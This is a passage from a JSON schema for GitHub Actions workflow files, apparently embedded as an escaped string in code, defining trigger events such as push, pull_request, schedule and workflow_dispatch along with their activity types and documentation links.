\"#/definitions/eventObject\",\n                            \"description\": \"You can use the GitHub API to trigger a webhook event called repository_dispatch when you want to trigger a workflow for activity that happens outside of GitHub. For more information, see https://developer.github.com/v3/repos/#create-a-repository-dispatch-event.\\nTo trigger the custom repository_dispatch webhook event, you must send a POST request to a GitHub API endpoint and provide an event_type name to describe the activity type. To trigger a workflow run, you must also configure your workflow to use the repository_dispatch event.\"\n                        },\n                        \"schedule\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events-schedule\",\n                            \"description\": \"You can schedule a workflow to run at specific UTC times using POSIX cron syntax (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). Scheduled workflows run on the latest commit on the default or base branch. The shortest interval you can run scheduled workflows is once every 5 minutes.\\nNote: GitHub Actions does not support the non-standard syntax @yearly, @monthly, @weekly, @daily, @hourly, and @reboot.\\nYou can use crontab guru (https://crontab.guru/). to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of crontab guru examples (https://crontab.guru/examples.html).\",\n                            \"type\": \"array\",\n                            \"items\": {\n                                \"properties\": {\n                                    \"cron\": {\n                                        \"$comment\": \"https://stackoverflow.com/a/57639657/4044345\",\n                                        \"type\": \"string\",\n                                        \"pattern\": \"^(((\\\\d+,)+\\\\d+|((\\\\d+|\\\\*)/\\\\d+|((JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC)(-(JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC))?))|(\\\\d+-\\\\d+)|\\\\d+|\\\\*|((MON|TUE|WED|THU|FRI|SAT|SUN)(-(MON|TUE|WED|THU|FRI|SAT|SUN))?)) ?){5}$\"\n                                    }\n                                },\n                                \"additionalProperties\": False\n                            },\n                            \"minItems\": 1\n                        }\n                    },\n                    \"additionalProperties\": False\n                },\n                {\n                    \"type\": \"string\",\n                    \"properties\": {\n                        \"branch_protection_rule\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#branch_protection_rule\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the branch_protection_rule event occurs. More than one activity type triggers this event.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"check_run\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-run-event-check_run\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the check_run event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/runs.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"rerequested\",\n                                            \"completed\",\n                                            \"requested_action\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"rerequested\",\n                                        \"completed\",\n                                        \"requested_action\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"check_suite\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-suite-event-check_suite\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the check_suite event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/suites/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"completed\", \"requested\", \"rerequested\"]\n                                    },\n                                    \"default\": [\"completed\", \"requested\", \"rerequested\"]\n                                }\n                            }\n                        },\n                        \"create\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#create-event-create\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone creates a branch or tag, which triggers the create event. For information about the REST API, see https://developer.github.com/v3/git/refs/#create-a-reference.\"\n                        },\n                        \"delete\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#delete-event-delete\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone deletes a branch or tag, which triggers the delete event. For information about the REST API, see https://developer.github.com/v3/git/refs/#delete-a-reference.\"\n                        },\n                        \"deployment\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-event-deployment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone creates a deployment, which triggers the deployment event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/.\"\n                        },\n                        \"deployment_status\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-status-event-deployment_status\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime a third party provides a deployment status, which triggers the deployment_status event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/#create-a-deployment-status.\"\n                        },\n                        \"discussion\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the discussion event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"edited\",\n                                            \"deleted\",\n                                            \"transferred\",\n                                            \"pinned\",\n                                            \"unpinned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"category_changed\",\n                                            \"answered\",\n                                            \"unanswered\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"edited\",\n                                        \"deleted\",\n                                        \"transferred\",\n                                        \"pinned\",\n                                        \"unpinned\",\n                                        \"labeled\",\n                                        \"unlabeled\",\n                                        \"locked\",\n                                        \"unlocked\",\n                                        \"category_changed\",\n                                        \"answered\",\n                                        \"unanswered\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"discussion_comment\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion_comment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the discussion_comment event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"fork\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#fork-event-fork\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime when someone forks a repository, which triggers the fork event. For information about the REST API, see https://developer.github.com/v3/repos/forks/#create-a-fork.\"\n                        },\n                        \"gollum\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#gollum-event-gollum\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow when someone creates or updates a Wiki page, which triggers the gollum event.\"\n                        },\n                        \"issue_comment\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issue-comment-event-issue_comment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the issue_comment event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/comments/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"issues\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issues-event-issues\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the issues event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"opened\",\n                                            \"edited\",\n                                            \"deleted\",\n                                            \"transferred\",\n                                            \"pinned\",\n                                            \"unpinned\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"assigned\",\n                                            \"unassigned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"milestoned\",\n                                            \"demilestoned\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"opened\",\n                                        \"edited\",\n                                        \"deleted\",\n                                        \"transferred\",\n                                        \"pinned\",\n                                        \"unpinned\",\n                                        \"closed\",\n                                        \"reopened\",\n                                        \"assigned\",\n                                        \"unassigned\",\n                                        \"labeled\",\n                                        \"unlabeled\",\n                                        \"locked\",\n                                        \"unlocked\",\n                                        \"milestoned\",\n                                        \"demilestoned\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"label\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#label-event-label\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the label event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/labels/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"member\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#member-event-member\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the member event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/repos/collaborators/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"added\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"added\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"merge_group\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#merge_group\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For information about the merge queue, see https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue .\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"checks_requested\"]\n                                    },\n                                    \"default\": [\"checks_requested\"]\n                                }\n                            }\n                        },\n                        \"milestone\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#milestone-event-milestone\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the milestone event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/milestones/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"closed\", \"opened\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"closed\",\n                                        \"opened\",\n                                        \"edited\",\n                                        \"deleted\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"page_build\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#page-build-event-page_build\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone pushes to a GitHub Pages-enabled branch, which triggers the page_build event. For information about the REST API, see https://developer.github.com/v3/repos/pages/.\"\n                        },\n                        \"project\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-event-project\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the project event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"updated\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"edited\",\n                                            \"deleted\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"updated\",\n                                        \"closed\",\n                                        \"reopened\",\n                                        \"edited\",\n                                        \"deleted\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"project_card\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-card-event-project_card\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the project_card event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/cards.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"created\",\n                                            \"moved\",\n                                            \"converted\",\n                                            \"edited\",\n                                            \"deleted\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"created\",\n                                        \"moved\",\n                                        \"converted\",\n                                        \"edited\",\n                                        \"deleted\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"project_column\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-column-event-project_column\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the project_column event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/columns.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"updated\", \"moved\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"updated\", \"moved\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"public\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#public-event-public\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime someone makes a private repository public, which triggers the public event. For information about the REST API, see https://developer.github.com/v3/repos/#edit.\"\n                        },\n                        \"pull_request\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-event-pull_request\",\n                            \"$ref\": \"#/definitions/ref\",\n                            \"description\": \"Runs your workflow anytime the pull_request event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls.\\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"assigned\",\n                                            \"unassigned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"opened\",\n                                            \"edited\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"synchronize\",\n                                            \"converted_to_draft\",\n                                            \"ready_for_review\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"review_requested\",\n                                            \"review_request_removed\",\n                                            \"auto_merge_enabled\",\n                                            \"auto_merge_disabled\"\n                                        ]\n                                    },\n                                    \"default\": [\"opened\", \"synchronize\", \"reopened\"]\n                                }\n                            },\n                            \"patternProperties\": {\n                                \"^(branche|tag|path)s(-ignore)?$\": {\n                                    \"type\": \"array\"\n                                }\n                            },\n                            \"additionalProperties\": False\n                        },\n                        \"pull_request_review\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-event-pull_request_review\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the pull_request_review event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/reviews.\\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"submitted\", \"edited\", \"dismissed\"]\n                                    },\n                                    \"default\": [\"submitted\", \"edited\", \"dismissed\"]\n                                }\n                            }\n                        },\n                        \"pull_request_review_comment\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-comment-event-pull_request_review_comment\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime a comment on a pull request's unified diff is modified, which triggers the pull_request_review_comment event. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/comments.\\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"created\", \"edited\", \"deleted\"]\n                                    },\n                                    \"default\": [\"created\", \"edited\", \"deleted\"]\n                                }\n                            }\n                        },\n                        \"pull_request_target\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#pull_request_target\",\n                            \"$ref\": \"#/definitions/ref\",\n                            \"description\": \"This event is similar to pull_request, except that it runs in the context of the base repository of the pull request, rather than in the merge commit. This means that you can more safely make your secrets available to the workflows triggered by the pull request, because only workflows defined in the commit on the base repository are run. For example, this event allows you to create workflows that label and comment on pull requests, based on the contents of the event payload.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"assigned\",\n                                            \"unassigned\",\n                                            \"labeled\",\n                                            \"unlabeled\",\n                                            \"opened\",\n                                            \"edited\",\n                                            \"closed\",\n                                            \"reopened\",\n                                            \"synchronize\",\n                                            \"converted_to_draft\",\n                                            \"ready_for_review\",\n                                            \"locked\",\n                                            \"unlocked\",\n                                            \"review_requested\",\n                                            \"review_request_removed\",\n                                            \"auto_merge_enabled\",\n                                            \"auto_merge_disabled\"\n                                        ]\n                                    },\n                                    \"default\": [\"opened\", \"synchronize\", \"reopened\"]\n                                }\n                            },\n                            \"patternProperties\": {\n                                \"^(branche|tag|path)s(-ignore)?$\": {}\n                            },\n                            \"additionalProperties\": False\n                        },\n                        \"push\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#push-event-push\",\n                            \"$ref\": \"#/definitions/ref\",\n                            \"description\": \"Runs your workflow when someone pushes to a repository branch, which triggers the push event.\\nNote: The webhook payload available to GitHub Actions does not include the added, removed, and modified attributes in the commit object. You can retrieve the full commit object using the REST API. For more information, see https://developer.github.com/v3/repos/commits/#get-a-single-commit.\",\n                            \"patternProperties\": {\n                                \"^(branche|tag|path)s(-ignore)?$\": {\n                                    \"items\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"type\": \"array\"\n                                }\n                            },\n                            \"additionalProperties\": False\n                        },\n                        \"registry_package\": {\n                            \"$comment\": \"https://help.github.com/en/actions/reference/events-that-trigger-workflows#registry-package-event-registry_package\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime a package is published or updated. For more information, see https://help.github.com/en/github/managing-packages-with-github-packages.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"published\", \"updated\"]\n                                    },\n                                    \"default\": [\"published\", \"updated\"]\n                                }\n                            }\n                        },\n                        \"release\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#release-event-release\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the release event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/repos/releases/ in the GitHub Developer documentation.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"published\",\n                                            \"unpublished\",\n                                            \"created\",\n                                            \"edited\",\n                                            \"deleted\",\n                                            \"prereleased\",\n                                            \"released\"\n                                        ]\n                                    },\n                                    \"default\": [\n                                        \"published\",\n                                        \"unpublished\",\n                                        \"created\",\n                                        \"edited\",\n                                        \"deleted\",\n                                        \"prereleased\",\n                                        \"released\"\n                                    ]\n                                }\n                            }\n                        },\n                        \"status\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#status-event-status\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the status of a Git commit changes, which triggers the status event. For information about the REST API, see https://developer.github.com/v3/repos/statuses/.\"\n                        },\n                        \"watch\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#watch-event-watch\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"Runs your workflow anytime the watch event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/activity/starring/.\"\n                        },\n                        \"workflow_call\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#workflow_call\",\n                            \"description\": \"Allows workflows to be reused by other workflows.\",\n                            \"properties\": {\n                                \"inputs\": {\n                                    \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs\",\n                                    \"description\": \"When using the workflow_call keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow.\",\n                                    \"type\": \"object\",\n                                    \"patternProperties\": {\n                                        \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id\",\n                                            \"description\": \"A string identifier to associate with the input. The value of <input_id> is a map of the input's metadata. The <input_id> must be a unique identifier within the inputs object. The <input_id> must start with a letter or _ and contain only alphanumeric characters, -, or _.\",\n                                            \"type\": \"object\",\n                                            \"properties\": {\n                                                \"description\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription\",\n                                                    \"description\": \"A string description of the input parameter.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"deprecationMessage\": {\n                                                    \"description\": \"A string shown to users using the deprecated input.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"required\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired\",\n                                                    \"description\": \"A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.\",\n                                                    \"type\": \"boolean\"\n                                                },\n                                                \"type\": {\n                                                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinput_idtype\",\n                                                    \"description\": \"Required if input is defined for the on.workflow_call keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: boolean, number, or string.\",\n                                                    \"type\": \"string\",\n                                                    \"enum\": [\"boolean\", \"number\", \"string\"]\n                                                },\n                                                \"default\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault\",\n                                                    \"description\": \"The default value is used when an input parameter isn't specified in a workflow file.\",\n                                                    \"type\": [\"boolean\", \"number\", \"string\"]\n                                                }\n                                            },\n                                            \"required\": [\"required\", \"type\"],\n                                            \"additionalProperties\": False\n                                        }\n                                    },\n                                    \"additionalProperties\": False\n                                },\n                                \"secrets\": {\n                                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecrets\",\n                                    \"description\": \"A map of the secrets that can be used in the called workflow. Within the called workflow, you can use the secrets context to refer to a secret.\",\n                                    \"patternProperties\": {\n                                        \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                                            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_id\",\n                                            \"description\": \"A string identifier to associate with the secret.\",\n                                            \"properties\": {\n                                                \"description\": {\n                                                    \"description\": \"A string description of the secret parameter.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"required\": {\n                                                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_idrequired\",\n                                                    \"description\": \"A boolean specifying whether the secret must be supplied.\"\n                                                }\n                                            },\n                                            \"required\": [\"required\"],\n                                            \"additionalProperties\": False\n                                        }\n                                    },\n                                    \"additionalProperties\": False\n                                }\n                            }\n                        },\n                        \"workflow_dispatch\": {\n                            \"$comment\": \"https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/\",\n                            \"description\": \"You can now create workflows that are manually triggered with the new workflow_dispatch event. You will then see a 'Run workflow' button on the Actions tab, enabling you to easily trigger a run.\",\n                            \"properties\": {\n                                \"inputs\": {\n                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs\",\n                                    \"description\": \"Input parameters allow you to specify data that the action expects to use during runtime. GitHub stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.\",\n                                    \"type\": \"object\",\n                                    \"patternProperties\": {\n                                        \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_id\",\n                                            \"description\": \"A string identifier to associate with the input. The value of <input_id> is a map of the input's metadata. The <input_id> must be a unique identifier within the inputs object. The <input_id> must start with a letter or _ and contain only alphanumeric characters, -, or _.\",\n                                            \"type\": \"object\",\n                                            \"properties\": {\n                                                \"description\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription\",\n                                                    \"description\": \"A string description of the input parameter.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"deprecationMessage\": {\n                                                    \"description\": \"A string shown to users using the deprecated input.\",\n                                                    \"type\": \"string\"\n                                                },\n                                                \"required\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired\",\n                                                    \"description\": \"A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.\",\n                                                    \"type\": \"boolean\"\n                                                },\n                                                \"default\": {\n                                                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault\",\n                                                    \"description\": \"A string representing the default value. The default value is used when an input parameter isn't specified in a workflow file.\"\n                                                },\n                                                \"type\": {\n                                                    \"description\": \"A string representing the type of the input.\",\n                                                    \"type\": 